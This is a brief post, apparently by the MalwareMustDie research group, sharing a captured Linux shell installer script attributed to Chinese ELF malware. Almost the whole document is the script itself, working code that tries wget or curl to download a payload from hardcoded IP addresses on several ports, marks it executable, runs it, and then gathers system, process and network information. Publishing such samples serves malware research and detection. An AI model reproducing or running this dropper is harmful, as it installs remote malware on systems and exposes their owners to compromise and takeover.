ShellScript "updated" installer | China ELF malware

#MalwareMustDie-snagged this malicious script/credit: @shibumi

export PATH=$PATH:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:/boot/:/usr/:/:/etc/;
filename="3502.rar";
path=$filename;
para="";

rm -rf $path || /dev/null > $path;

i=0;

for d in `echo wget curl`;
  do i=$(($i+1));
  command -v $d >/dev/null 2>1 && down=$d && break;
  type $d >/dev/null 2>1 && down=$d && break;
  hash $d >/dev/null 2>1 && down=$d && break;
done;

if [ ! -z $down ];
  then if [ $i == 1 ] ;
    then para="";
    else para=" -s --connect-timeout 30 -O $path ";
    filename="3502_s.rar";
  fi;
  for list in `echo http://123.108.109.100/ http://123.108.109.100:53/ http://123.108.109.100:443/ http://178.33.196.164/ http://178.33.196.164:53/ http://178.33.196.164:443/`;
    do $down $para $list$filename >/dev/null 2>1 && break;
  done ;

  if [ -f $path ];
    then chmod +x $path;
    ./$path && echo InstallOK;
  fi;

fi;

sleep 1;
uname -a;
cat /etc/issue;
(ps -ef||ps aux||ps x)|grep -v $$;
netstat -antop||netstat -ano|netstat -an;
echo ExecOK

#---
#MalwareMustDie